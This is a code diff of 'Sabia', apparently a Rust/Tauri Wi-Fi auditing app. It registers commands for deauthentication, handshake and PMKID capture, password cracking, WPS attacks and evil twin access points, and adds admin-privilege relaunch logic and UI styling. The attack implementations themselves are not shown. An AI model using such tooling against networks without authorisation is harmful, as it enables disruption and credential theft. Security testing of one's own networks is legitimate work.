state: tauri::State<'_, State>,
|
||||||
|
id: String,
|
||||||
|
) -> Result<serde_json::Value, String> {
|
||||||
|
match state.0.enterprise_twin_job(&id) {
|
||||||
|
Some(job) => serde_json::to_value(job).map_err(|e| e.to_string()),
|
||||||
|
None => Err("job de Evil Twin Enterprise não encontrado".into()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn eviltwin_enterprise_jobs(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||||
|
serde_json::to_value(state.0.enterprise_twin_jobs()).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
fn stop_evil_twin_enterprise(state: tauri::State<'_, State>, id: String) -> Result<(), String> {
|
||||||
|
state
|
||||||
|
.0
|
||||||
|
.stop_evil_twin_enterprise(&id)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[tauri::command]
|
||||||
|
#[allow(clippy::too_many_arguments)]
|
||||||
|
fn start_scan_opts(
|
||||||
|
state: tauri::State<'_, State>,
|
||||||
|
iface: String,
|
||||||
|
channel: Option<u32>,
|
||||||
|
band: Option<String>,
|
||||||
|
hop_ms: Option<u64>,
|
||||||
|
pcap_out: Option<String>,
|
||||||
|
seconds: Option<u64>,
|
||||||
|
) -> Result<(), String> {
|
||||||
|
let options = ScanOptions {
|
||||||
|
channel,
|
||||||
|
band,
|
||||||
|
hop_ms: hop_ms.unwrap_or(350),
|
||||||
|
pcap_out: pcap_out.map(Into::into),
|
||||||
|
duration_secs: seconds,
|
||||||
|
};
|
||||||
|
state
|
||||||
|
.0
|
||||||
|
.start_scan_with(&iface, options)
|
||||||
|
.map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
#[tauri::command]
|
#[tauri::command]
|
||||||
fn update_check(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
fn update_check(state: tauri::State<'_, State>) -> Result<serde_json::Value, String> {
|
||||||
let status = state.0.update_check().map_err(|e| e.to_string())?;
|
let status = state.0.update_check().map_err(|e| e.to_string())?;
|
||||||
@@ -85,7 +543,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
|||||||
let exe = elevated_exe()?;
|
let exe = elevated_exe()?;
|
||||||
let log = std::env::temp_dir().join(format!("sabia-elevate-{}.log", std::process::id()));
|
let log = std::env::temp_dir().join(format!("sabia-elevate-{}.log", std::process::id()));
|
||||||
let _ = std::fs::write(&log, b"");
|
let _ = std::fs::write(&log, b"");
|
||||||
let out = std::fs::OpenOptions::new().append(true).open(&log).map_err(|e| e.to_string())?;
|
let out = std::fs::OpenOptions::new()
|
||||||
|
.append(true)
|
||||||
|
.open(&log)
|
||||||
|
.map_err(|e| e.to_string())?;
|
||||||
let err = out.try_clone().map_err(|e| e.to_string())?;
|
let err = out.try_clone().map_err(|e| e.to_string())?;
|
||||||
let pid = std::process::id().to_string();
|
let pid = std::process::id().to_string();
|
||||||
|
|
||||||
@@ -93,7 +554,14 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
|||||||
let mut cmd = {
|
let mut cmd = {
|
||||||
let mut c = std::process::Command::new("pkexec");
|
let mut c = std::process::Command::new("pkexec");
|
||||||
c.arg("/usr/bin/env");
|
c.arg("/usr/bin/env");
|
||||||
for k in ["DISPLAY", "WAYLAND_DISPLAY", "XAUTHORITY", "XDG_RUNTIME_DIR", "DBUS_SESSION_BUS_ADDRESS", "GDK_BACKEND"] {
|
for k in [
|
||||||
|
"DISPLAY",
|
||||||
|
"WAYLAND_DISPLAY",
|
||||||
|
"XAUTHORITY",
|
||||||
|
"XDG_RUNTIME_DIR",
|
||||||
|
"DBUS_SESSION_BUS_ADDRESS",
|
||||||
|
"GDK_BACKEND",
|
||||||
|
] {
|
||||||
if let Ok(v) = std::env::var(k) {
|
if let Ok(v) = std::env::var(k) {
|
||||||
c.arg(format!("{k}={v}"));
|
c.arg(format!("{k}={v}"));
|
||||||
}
|
}
|
||||||
@@ -104,14 +572,23 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
|||||||
};
|
};
|
||||||
#[cfg(target_os = "macos")]
|
#[cfg(target_os = "macos")]
|
||||||
let mut cmd = {
|
let mut cmd = {
|
||||||
let shell = format!("SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &", pid, exe.display());
|
let shell = format!(
|
||||||
let script = format!("do shell script \"{}\" with administrator privileges", shell.replace('\\', "\\\\").replace('"', "\\\""));
|
"SABIA_REPLACE_PID={} '{}' >/dev/null 2>&1 &",
|
||||||
|
pid,
|
||||||
|
exe.display()
|
||||||
|
);
|
||||||
|
let script = format!(
|
||||||
|
"do shell script \"{}\" with administrator privileges",
|
||||||
|
shell.replace('\\', "\\\\").replace('"', "\\\"")
|
||||||
|
);
|
||||||
let mut c = std::process::Command::new("osascript");
|
let mut c = std::process::Command::new("osascript");
|
||||||
c.args(["-e", &script]);
|
c.args(["-e", &script]);
|
||||||
c
|
c
|
||||||
};
|
};
|
||||||
cmd.stdout(out).stderr(err);
|
cmd.stdout(out).stderr(err);
|
||||||
let mut child = cmd.spawn().map_err(|e| format!("não foi possível pedir privilégios: {e}"))?;
|
let mut child = cmd
|
||||||
|
.spawn()
|
||||||
|
.map_err(|e| format!("não foi possível pedir privilégios: {e}"))?;
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
let status = child.wait();
|
let status = child.wait();
|
||||||
if matches!(&status, Ok(s) if s.success()) {
|
if matches!(&status, Ok(s) if s.success()) {
|
||||||
@@ -122,7 +599,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
|||||||
let msg = match status.ok().and_then(|s| s.code()) {
|
let msg = match status.ok().and_then(|s| s.code()) {
|
||||||
Some(126) => "Autorização cancelada.".to_string(),
|
Some(126) => "Autorização cancelada.".to_string(),
|
||||||
Some(127) => "Não foi possível autenticar como administrador.".to_string(),
|
Some(127) => "Não foi possível autenticar como administrador.".to_string(),
|
||||||
_ => format!("Não foi possível reiniciar como administrador. {}", detail.lines().last().unwrap_or("").trim()),
|
_ => format!(
|
||||||
|
"Não foi possível reiniciar como administrador. {}",
|
||||||
|
detail.lines().last().unwrap_or("").trim()
|
||||||
|
),
|
||||||
};
|
};
|
||||||
let _ = app.emit("elevate-failed", msg);
|
let _ = app.emit("elevate-failed", msg);
|
||||||
let _ = std::fs::remove_file(&log);
|
let _ = std::fs::remove_file(&log);
|
||||||
@@ -135,7 +615,10 @@ fn do_relaunch_elevated(app: tauri::AppHandle) -> Result<(), String> {
|
|||||||
/// usa o próprio arquivo `.AppImage` (variável `APPIMAGE`).
|
/// usa o próprio arquivo `.AppImage` (variável `APPIMAGE`).
|
||||||
#[cfg(any(target_os = "linux", target_os = "macos"))]
|
#[cfg(any(target_os = "linux", target_os = "macos"))]
|
||||||
fn elevated_exe() -> Result<std::path::PathBuf, String> {
|
fn elevated_exe() -> Result<std::path::PathBuf, String> {
|
||||||
if let Some(p) = std::env::var_os("APPIMAGE").map(std::path::PathBuf::from).filter(|p| p.is_file()) {
|
if let Some(p) = std::env::var_os("APPIMAGE")
|
||||||
|
.map(std::path::PathBuf::from)
|
||||||
|
.filter(|p| p.is_file())
|
||||||
|
{
|
||||||
return Ok(p);
|
return Ok(p);
|
||||||
}
|
}
|
||||||
std::env::current_exe().map_err(|e| e.to_string())
|
std::env::current_exe().map_err(|e| e.to_string())
|
||||||
@@ -148,7 +631,10 @@ fn main() {
|
|||||||
.setup(|app| {
|
.setup(|app| {
|
||||||
// Quando abrimos elevados a pedido do app normal, ele fecha o app antigo.
|
// Quando abrimos elevados a pedido do app normal, ele fecha o app antigo.
|
||||||
#[cfg(unix)]
|
#[cfg(unix)]
|
||||||
if let Some(pid) = std::env::var("SABIA_REPLACE_PID").ok().and_then(|p| p.parse::<i32>().ok()) {
|
if let Some(pid) = std::env::var("SABIA_REPLACE_PID")
|
||||||
|
.ok()
|
||||||
|
.and_then(|p| p.parse::<i32>().ok())
|
||||||
|
{
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
std::thread::sleep(std::time::Duration::from_millis(1200));
|
std::thread::sleep(std::time::Duration::from_millis(1200));
|
||||||
// SAFETY: só envia SIGTERM ao processo anterior do próprio usuário.
|
// SAFETY: só envia SIGTERM ao processo anterior do próprio usuário.
|
||||||
@@ -180,6 +666,42 @@ fn main() {
|
|||||||
start_scan,
|
start_scan,
|
||||||
stop_scan,
|
stop_scan,
|
||||||
scan_results,
|
scan_results,
|
||||||
|
scan_snapshot,
|
||||||
|
scan_clients,
|
||||||
|
handshakes,
|
||||||
|
export_handshake,
|
||||||
|
export_all_handshakes,
|
||||||
|
start_crack,
|
||||||
|
start_crack_mask,
|
||||||
|
crack_job,
|
||||||
|
crack_jobs,
|
||||||
|
deauth,
|
||||||
|
deauth_directional,
|
||||||
|
start_deauth_job,
|
||||||
|
stop_deauth_job,
|
||||||
|
deauth_job,
|
||||||
|
deauth_jobs,
|
||||||
|
capture_handshake,
|
||||||
|
report,
|
||||||
|
report_html,
|
||||||
|
export_hc22000,
|
||||||
|
export_all_hc22000,
|
||||||
|
pmkid_hunt,
|
||||||
|
pmf_test,
|
||||||
|
wps_tools,
|
||||||
|
start_wps,
|
||||||
|
wps_job,
|
||||||
|
wps_jobs,
|
||||||
|
stop_wps,
|
||||||
|
start_evil_twin,
|
||||||
|
eviltwin_job,
|
||||||
|
eviltwin_jobs,
|
||||||
|
stop_evil_twin,
|
||||||
|
start_evil_twin_enterprise,
|
||||||
|
eviltwin_enterprise_job,
|
||||||
|
eviltwin_enterprise_jobs,
|
||||||
|
stop_evil_twin_enterprise,
|
||||||
|
start_scan_opts,
|
||||||
update_check,
|
update_check,
|
||||||
update_apply,
|
update_apply,
|
||||||
is_elevated,
|
is_elevated,
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
{
|
{
|
||||||
"$schema": "https://schema.tauri.app/config/2",
|
"$schema": "https://schema.tauri.app/config/2",
|
||||||
"productName": "Sabia",
|
"productName": "Sabia",
|
||||||
"version": "0.1.0",
|
"version": "1.0.0",
|
||||||
"identifier": "dev.sabia.app",
|
"identifier": "dev.sabia.app",
|
||||||
"build": {
|
"build": {
|
||||||
"frontendDist": "../ui"
|
"frontendDist": "../ui"
|
||||||
@@ -19,7 +19,7 @@
|
|||||||
}
|
}
|
||||||
],
|
],
|
||||||
"security": {
|
"security": {
|
||||||
"csp": "default-src 'self'; img-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self'; frame-src 'none'; object-src 'none'"
|
"csp": "default-src 'self'; img-src 'self' data:; connect-src 'self' ipc: http://ipc.localhost; style-src 'self' 'unsafe-inline'; script-src 'self'; worker-src 'self'; frame-src 'self' data: blob:; object-src 'none'"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"bundle": {
|
"bundle": {
|
||||||
|
|||||||
+285
-13
@@ -68,6 +68,7 @@
|
|||||||
:root[data-theme="dark"] { color-scheme: dark; }
|
:root[data-theme="dark"] { color-scheme: dark; }
|
||||||
|
|
||||||
* { box-sizing: border-box; }
|
* { box-sizing: border-box; }
|
||||||
|
[hidden] { display: none !important; }
|
||||||
html, body { height: 100%; }
|
html, body { height: 100%; }
|
||||||
body {
|
body {
|
||||||
margin: 0; background: var(--bg); color: var(--text);
|
margin: 0; background: var(--bg); color: var(--text);
|
||||||
@@ -104,17 +105,27 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
|
|||||||
padding: 9px 10px; border-radius: 12px; transition: background .15s;
|
padding: 9px 10px; border-radius: 12px; transition: background .15s;
|
||||||
}
|
}
|
||||||
.dev:hover { background: color-mix(in srgb, var(--text) 6%, transparent); }
|
.dev:hover { background: color-mix(in srgb, var(--text) 6%, transparent); }
|
||||||
.dev[aria-current="true"] { background: var(--accent-soft); }
|
.dev[aria-current="true"], .dev[aria-pressed="true"] { background: var(--accent-soft); }
|
||||||
.dev .ico { width: 34px; height: 34px; border-radius: 9px; display: grid; place-items: center; background: var(--surface); box-shadow: 0 0 0 1px var(--line); color: var(--text-2); }
|
.dev .ico { width: 34px; height: 34px; border-radius: 9px; display: grid; place-items: center; background: var(--surface); box-shadow: 0 0 0 1px var(--line); color: var(--text-2); }
|
||||||
.dev[aria-current="true"] .ico { color: var(--accent); }
|
.dev[aria-current="true"] .ico, .dev[aria-pressed="true"] .ico { color: var(--accent); }
|
||||||
.dev .t { display: block; font-weight: 600; font-size: 14px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
.dev .t { display: block; font-weight: 600; font-size: 14px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||||
.dev .s { display: block; font-size: 11.5px; color: var(--text-2); font-family: var(--mono); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
.dev .s { display: block; font-size: 11.5px; color: var(--text-2); font-family: var(--mono); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||||
|
|
||||||
.side-foot { margin-top: auto; padding: 14px 10px 4px; font-size: 11.5px; color: var(--text-3); display: flex; justify-content: space-between; gap: 8px; }
|
.iface-pick { display: flex; flex-direction: column; align-items: stretch; gap: 8px; padding: 0 10px 4px; }
|
||||||
.side-foot button { background: transparent; border: 0; color: var(--text-3); cursor: pointer; text-decoration: underline; text-underline-offset: 2px; }
|
.iface-pick .select { width: 100%; min-width: 0; }
|
||||||
|
.iface-pick .pill { align-self: flex-start; }
|
||||||
|
|
||||||
|
.side-foot { margin-top: auto; padding: 14px 4px 4px; font-size: 11.5px; color: var(--text-3); display: grid; gap: 8px; }
|
||||||
|
.foot-row { display: flex; align-items: center; justify-content: space-between; gap: 8px; }
|
||||||
|
.side-foot button { background: transparent; border: 0; color: var(--text-3); cursor: pointer; }
|
||||||
|
.side-foot .foot-row > button:not(.icon-btn) { text-decoration: underline; text-underline-offset: 2px; }
|
||||||
.side-foot button:hover { color: var(--text-2); }
|
.side-foot button:hover { color: var(--text-2); }
|
||||||
.lang-sel { background: transparent; border: 0; color: var(--text-3); font-size: 11.5px; cursor: pointer; }
|
.icon-btn { width: 30px; height: 30px; border-radius: 9px; display: inline-grid; place-items: center; padding: 0; }
|
||||||
.lang-sel:hover { color: var(--text-2); }
|
.icon-btn:hover { background: color-mix(in srgb, var(--text) 8%, transparent); }
|
||||||
|
|
||||||
|
.theme-switch { display: inline-flex; padding: 2px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); }
|
||||||
|
.theme-switch button { border: 0; background: transparent; cursor: pointer; padding: 4px 9px; border-radius: 999px; font-size: 11.5px; color: var(--text-2); }
|
||||||
|
.theme-switch button[aria-pressed="true"] { background: var(--surface); color: var(--text); box-shadow: 0 1px 3px rgba(0, 0, 0, .18); font-weight: 600; }
|
||||||
|
|
||||||
.main { overflow-y: auto; min-width: 0; }
|
.main { overflow-y: auto; min-width: 0; }
|
||||||
.page { max-width: 1040px; margin: 0 auto; padding: 30px 36px 100px; animation: rise .35s cubic-bezier(.2, .8, .2, 1); }
|
.page { max-width: 1040px; margin: 0 auto; padding: 30px 36px 100px; animation: rise .35s cubic-bezier(.2, .8, .2, 1); }
|
||||||
@@ -133,6 +144,9 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
|
|||||||
/* ------------------------------------------------------------ aviso */
|
/* ------------------------------------------------------------ aviso */
|
||||||
.notice { display: flex; gap: 10px; background: var(--surface); border-radius: 12px; padding: 12px 14px; box-shadow: var(--shadow); font-size: 13px; color: var(--text-2); margin-bottom: 20px; align-items: flex-start; }
|
.notice { display: flex; gap: 10px; background: var(--surface); border-radius: 12px; padding: 12px 14px; box-shadow: var(--shadow); font-size: 13px; color: var(--text-2); margin-bottom: 20px; align-items: flex-start; }
|
||||||
.notice svg { flex: none; margin-top: 2px; color: var(--warn); }
|
.notice svg { flex: none; margin-top: 2px; color: var(--warn); }
|
||||||
|
.notice.warn { background: var(--warn-soft); } .notice.warn svg { color: var(--warn); }
|
||||||
|
.notice.bad { background: var(--bad-soft); } .notice.bad svg { color: var(--bad); }
|
||||||
|
.notice b { color: var(--text); }
|
||||||
|
|
||||||
/* ------------------------------------------------------------ controles */
|
/* ------------------------------------------------------------ controles */
|
||||||
.controls { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); padding: 16px 18px; display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-bottom: 22px; }
|
.controls { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); padding: 16px 18px; display: flex; align-items: center; gap: 12px; flex-wrap: wrap; margin-bottom: 22px; }
|
||||||
@@ -153,23 +167,57 @@ code, .mono { font-family: var(--mono); font-variant-numeric: tabular-nums; }
|
|||||||
.btn.live:hover { filter: brightness(1.06); }
|
.btn.live:hover { filter: brightness(1.06); }
|
||||||
|
|
||||||
/* ------------------------------------------------------------ tabela */
|
/* ------------------------------------------------------------ tabela */
|
||||||
.result-head { display: flex; align-items: baseline; justify-content: space-between; margin: 4px 2px 10px; }
|
.result-head { display: flex; align-items: center; justify-content: space-between; gap: 12px; flex-wrap: wrap; margin: 4px 2px 10px; }
|
||||||
|
.result-summary { display: flex; align-items: baseline; gap: 10px; min-width: 0; }
|
||||||
.result-head strong { font-size: 15px; }
|
.result-head strong { font-size: 15px; }
|
||||||
.result-head span { color: var(--text-3); font-size: 12.5px; }
|
.result-summary span { color: var(--text-3); font-size: 12.5px; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
|
||||||
|
.result-tools { display: flex; align-items: center; gap: 8px; }
|
||||||
|
.result-tools .filter { border: 0; border-radius: 10px; padding: 7px 12px; width: 210px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; font-size: 12.5px; }
|
||||||
|
.result-tools .filter::placeholder { color: var(--text-3); }
|
||||||
|
.result-tools .select { width: auto; padding: 7px 10px; border-radius: 10px; font-size: 12.5px; }
|
||||||
|
|
||||||
.ap-card { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); overflow: hidden; }
|
.ap-card { background: var(--surface); border-radius: var(--radius); box-shadow: var(--shadow); overflow: hidden; }
|
||||||
|
.net-card { overflow-x: auto; }
|
||||||
table { width: 100%; border-collapse: collapse; }
|
table { width: 100%; border-collapse: collapse; }
|
||||||
thead th { text-align: left; padding: 11px 14px; font-size: 10.5px; color: var(--text-3); text-transform: uppercase; letter-spacing: .06em; font-weight: 600; border-bottom: 1px solid var(--line); }
|
thead th { text-align: left; padding: 11px 14px; font-size: 10.5px; color: var(--text-3); text-transform: uppercase; letter-spacing: .06em; font-weight: 600; border-bottom: 1px solid var(--line); }
|
||||||
tbody td { padding: 10px 14px; font-size: 13px; border-bottom: 1px solid var(--line); vertical-align: middle; }
|
tbody td { padding: 10px 14px; font-size: 13px; border-bottom: 1px solid var(--line); vertical-align: middle; }
|
||||||
tbody tr:last-child td { border-bottom: 0; }
|
tbody tr:last-child td { border-bottom: 0; }
|
||||||
tbody tr:hover { background: var(--surface-2); }
|
tbody tr:hover { background: var(--surface-2); }
|
||||||
td.bssid { font-family: var(--mono); font-size: 12px; color: var(--text-2); }
|
|
||||||
td.ssid { font-weight: 600; }
|
td.ssid { font-weight: 600; }
|
||||||
td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
||||||
.sec-tag { font-size: 11.5px; font-weight: 600; padding: 2px 8px; border-radius: 999px; }
|
|
||||||
.sec-aberta { background: var(--bad-soft); color: var(--bad); }
|
/* rede agrupada por ESSID; cada BSSID vira uma linha expansível */
|
||||||
.sec-wep { background: var(--warn-soft); color: var(--warn); }
|
.caret-cell { width: 34px; padding-left: 10px; padding-right: 0; }
|
||||||
.sec-wpa, .sec-wpa2, .sec-wpa3 { background: var(--ok-soft); color: var(--ok); }
|
.expander { width: 26px; height: 26px; border: 0; border-radius: 8px; background: transparent; color: var(--text-3); cursor: pointer; display: inline-grid; place-items: center; padding: 0; }
|
||||||
|
.expander:hover { background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text); }
|
||||||
|
.expander svg { transition: transform .18s; }
|
||||||
|
.net-row.open .expander svg { transform: rotate(90deg); }
|
||||||
|
.net-row.open > td { background: color-mix(in srgb, var(--text) 3%, transparent); }
|
||||||
|
.net-name .ssid { display: block; font-weight: 600; line-height: 1.25; }
|
||||||
|
.net-name .ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
||||||
|
.net-sub { display: flex; flex-wrap: wrap; gap: 4px; margin-top: 3px; }
|
||||||
|
.flag { font-size: 10px; font-weight: 700; letter-spacing: .03em; padding: 1px 6px; border-radius: 999px; background: color-mix(in srgb, var(--text) 8%, transparent); color: var(--text-2); white-space: nowrap; }
|
||||||
|
.flag-warn { background: var(--warn-soft); color: var(--warn); }
|
||||||
|
.net-sec .sec-tag + .sec-tag { margin-left: 4px; }
|
||||||
|
.net-chan .chans { font-variant-numeric: tabular-nums; font-weight: 600; }
|
||||||
|
.net-band { display: block; font-size: 10.5px; color: var(--text-3); }
|
||||||
|
.net-signal, .net-clients { white-space: nowrap; font-variant-numeric: tabular-nums; }
|
||||||
|
.net-clients { color: var(--text-2); }
|
||||||
|
|
||||||
|
.detail-row td { padding: 4px 14px 10px 46px; background: var(--surface-2); }
|
||||||
|
.detail-row:hover { background: transparent; }
|
||||||
|
.bssid-list { display: grid; gap: 1px; }
|
||||||
|
.bssid-item { display: grid; grid-template-columns: minmax(150px, 1.4fr) 132px 112px minmax(92px, .8fr) 84px 1fr; gap: 10px; align-items: center; padding: 6px 8px; border-radius: 8px; font-size: 12.5px; }
|
||||||
|
.bssid-item:hover { background: color-mix(in srgb, var(--text) 4%, transparent); }
|
||||||
|
.bssid { color: var(--text-2); font-size: 11.5px; }
|
||||||
|
.bssid-meta, .bssid-clients { color: var(--text-3); font-size: 12px; }
|
||||||
|
.bssid-flags { display: flex; gap: 4px; justify-content: flex-end; flex-wrap: wrap; }
|
||||||
|
|
||||||
|
.sec-tag { font-size: 11px; font-weight: 600; padding: 2px 8px; border-radius: 999px; white-space: nowrap; }
|
||||||
|
.sec-open { background: var(--bad-soft); color: var(--bad); }
|
||||||
|
.sec-wep, .sec-wpa { background: var(--warn-soft); color: var(--warn); }
|
||||||
|
.sec-wpa2, .sec-wpa3, .sec-owe { background: var(--ok-soft); color: var(--ok); }
|
||||||
|
.sec-eap { background: var(--signal-soft); color: var(--signal); }
|
||||||
.signal-bars { display: inline-flex; align-items: flex-end; gap: 1.5px; height: 14px; vertical-align: middle; margin-right: 6px; }
|
.signal-bars { display: inline-flex; align-items: flex-end; gap: 1.5px; height: 14px; vertical-align: middle; margin-right: 6px; }
|
||||||
.signal-bars i { width: 3px; background: var(--line); border-radius: 1px; display: block; }
|
.signal-bars i { width: 3px; background: var(--line); border-radius: 1px; display: block; }
|
||||||
.signal-bars i.on { background: var(--signal); }
|
.signal-bars i.on { background: var(--signal); }
|
||||||
@@ -179,6 +227,115 @@ td.ssid em { color: var(--text-3); font-weight: 400; font-style: normal; }
|
|||||||
.empty-state h2 { font-size: 17px; color: var(--text); margin-bottom: 6px; }
|
.empty-state h2 { font-size: 17px; color: var(--text); margin-bottom: 6px; }
|
||||||
.empty-state p { font-size: 13.5px; max-width: 360px; margin: 0 auto; }
|
.empty-state p { font-size: 13.5px; max-width: 360px; margin: 0 auto; }
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------ configurações */
|
||||||
|
dialog { border: 0; border-radius: 20px; padding: 24px; width: min(420px, calc(100vw - 32px)); background: var(--surface); color: var(--text); box-shadow: 0 30px 80px rgba(0, 0, 0, .35); }
|
||||||
|
dialog::backdrop { background: rgba(0, 0, 0, .35); backdrop-filter: blur(6px); }
|
||||||
|
dialog h2 { font-size: 20px; margin-bottom: 16px; }
|
||||||
|
dialog menu { display: flex; gap: 10px; justify-content: flex-end; padding: 0; margin: 22px 0 0; }
|
||||||
|
.field { display: grid; gap: 6px; margin: 12px 0; }
|
||||||
|
.field-label { font-size: 12px; color: var(--text-2); font-weight: 600; }
|
||||||
|
.select { width: 100%; border: 0; border-radius: 12px; padding: 9px 14px; background: color-mix(in srgb, var(--text) 7%, transparent); color: var(--text); font: inherit; cursor: pointer; }
|
||||||
|
.select option { background-color: var(--surface); color: var(--text); }
|
||||||
|
|
||||||
|
|
||||||
|
/* ------------------------------------------------------------ detalhes do alvo */
|
||||||
|
.ssid-btn { display: block; border: 0; padding: 0; background: transparent; color: inherit; font: inherit; font-weight: 600; text-align: left; cursor: pointer; line-height: 1.25; }
|
||||||
|
.ssid-btn:hover { color: var(--accent); text-decoration: underline; text-underline-offset: 3px; }
|
||||||
|
.bssid-item { cursor: pointer; }
|
||||||
|
.bssid-item:focus-visible { outline: 2px solid var(--signal); outline-offset: -2px; }
|
||||||
|
.target-dlg { width: min(980px, calc(100vw - 32px)); max-height: min(90vh, 900px); padding: 0; overflow: hidden; display: flex; flex-direction: column; }
|
||||||
|
.target-dlg:not([open]) { display: none; }
|
||||||
|
.target-head { display: flex; align-items: flex-start; justify-content: space-between; gap: 16px; padding: 22px 24px 12px; }
|
||||||
|
.target-head h2 { font-size: 22px; line-height: 1.2; }
|
||||||
|
.target-sub { display: flex; flex-wrap: wrap; align-items: center; gap: 5px 8px; color: var(--text-2); font-size: 12.5px; margin-top: 5px; }
|
||||||
|
.target-sub .mono { color: var(--text-2); font-size: 12px; }
|
||||||
|
.target-sub .sec-tag { margin-left: 2px; }
|
||||||
|
.dot-sep { color: var(--text-3); }
|
||||||
|
.bssid-select { width: auto; max-width: 320px; padding: 4px 8px; border-radius: 8px; font-size: 11.5px; }
|
||||||
|
.tabs { display: flex; gap: 2px; padding: 0 20px; border-bottom: 1px solid var(--line); }
|
||||||
|
.tabs button { border: 0; background: transparent; color: var(--text-2); padding: 9px 12px 11px; font-size: 13px; font-weight: 600; cursor: pointer; border-bottom: 2px solid transparent; margin-bottom: -1px; }
|
||||||
|
.tabs button:hover { color: var(--text); }
|
||||||
|
.tabs button[aria-selected="true"] { color: var(--text); border-bottom-color: var(--accent); }
|
||||||
|
.tab-count { display: inline-block; min-width: 18px; padding: 0 5px; margin-left: 3px; border-radius: 999px; background: color-mix(in srgb, var(--text) 9%, transparent); color: var(--text-2); font-size: 10.5px; line-height: 17px; text-align: center; }
|
||||||
|
.tab-panel { padding: 18px 24px 26px; overflow-y: auto; min-height: 0; }
|
||||||
|
.detail-grid { display: grid; grid-template-columns: repeat(2, minmax(0, 1fr)); gap: 12px; }
|
||||||
|
.detail-card { background: var(--surface-2); border: 1px solid var(--line); border-radius: 14px; padding: 14px 16px; }
|
||||||
|
.detail-card h3 { font-size: 12px; text-transform: uppercase; letter-spacing: .06em; color: var(--text-3); margin-bottom: 10px; }
|
||||||
|
.detail-wide { margin-top: 12px; }
|
||||||
|
.kv { display: grid; grid-template-columns: minmax(96px, auto) minmax(0, 1fr); gap: 6px 12px; margin: 0; font-size: 12.5px; }
|
||||||
|
.kv dt { color: var(--text-3); }
|
||||||
|
.kv dd { margin: 0; min-width: 0; overflow-wrap: anywhere; }
|
||||||
|
.detail-actions { display: flex; flex-wrap: wrap; gap: 8px; margin-top: 12px; }
|
||||||
|
.btn.small { padding: 6px 12px; font-size: 12px; }
|
||||||
|
.risk { border-radius: 12px; padding: 10px 13px; font-size: 12.5px; margin-bottom: 12px; border: 1px solid transparent; }
|
||||||
|
.risk-bad { background: var(--bad-soft); color: var(--bad); }
|
||||||
|
.risk-warn { background: var(--warn-soft); color: var(--warn); }
|
||||||
|
.risk-info { background: var(--signal-soft); color: var(--signal); }
|
||||||
|
.risk strong { font-weight: 700; }
|
||||||
|
.flag-ok { background: var(--ok-soft); color: var(--ok); }
|
||||||
|
.flag-bad { background: var(--bad-soft); color: var(--bad); }
|
||||||
|
.clients-card { margin-top: 2px; overflow-x: auto; }
|
||||||
|
.mini-table { width: 100%; border-collapse: collapse; }
|
||||||
|
.mini-table .row-actions { text-align: right; white-space: nowrap; }
|
||||||
|
.mini-table th { padding: 9px 12px; font-size: 10.5px; text-transform: uppercase; letter-spacing: .05em; color: var(--text-3); text-align: left; border-bottom: 1px solid var(--line); }
|
||||||
|
.mini-table td { padding: 9px 12px; font-size: 12.5px; border-bottom: 1px solid var(--line); vertical-align: middle; }
|
||||||
|
.mini-table tr:last-child td { border-bottom: 0; }
|
||||||
|
.mini-table .nowrap { white-space: nowrap; font-variant-numeric: tabular-nums; }
|
||||||
|
.mini-table .probes { max-width: 220px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--text-2); }
|
||||||
|
.mini-table .device-cell { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; color: var(--text-2); }
|
||||||
|
.clients-card .mini-table { table-layout: fixed; }
|
||||||
|
.clients-card .mini-table th:nth-child(1) { width: 20%; }
|
||||||
|
.clients-card .mini-table th:nth-child(2) { width: 18%; }
|
||||||
|
.clients-card .mini-table th:nth-child(3) { width: 12%; }
|
||||||
|
.clients-card .mini-table th:nth-child(4) { width: 7%; }
|
||||||
|
.clients-card .mini-table th:nth-child(5) { width: 10%; }
|
||||||
|
.clients-card .mini-table th:nth-child(6) { width: 12%; }
|
||||||
|
.clients-card .mini-table th:nth-child(7) { width: 21%; }
|
||||||
|
.clients-card .row-actions .btn { padding: 6px 10px; }
|
||||||
|
.clients-card .client-name, .clients-card .client-sub { max-width: 100%; }
|
||||||
|
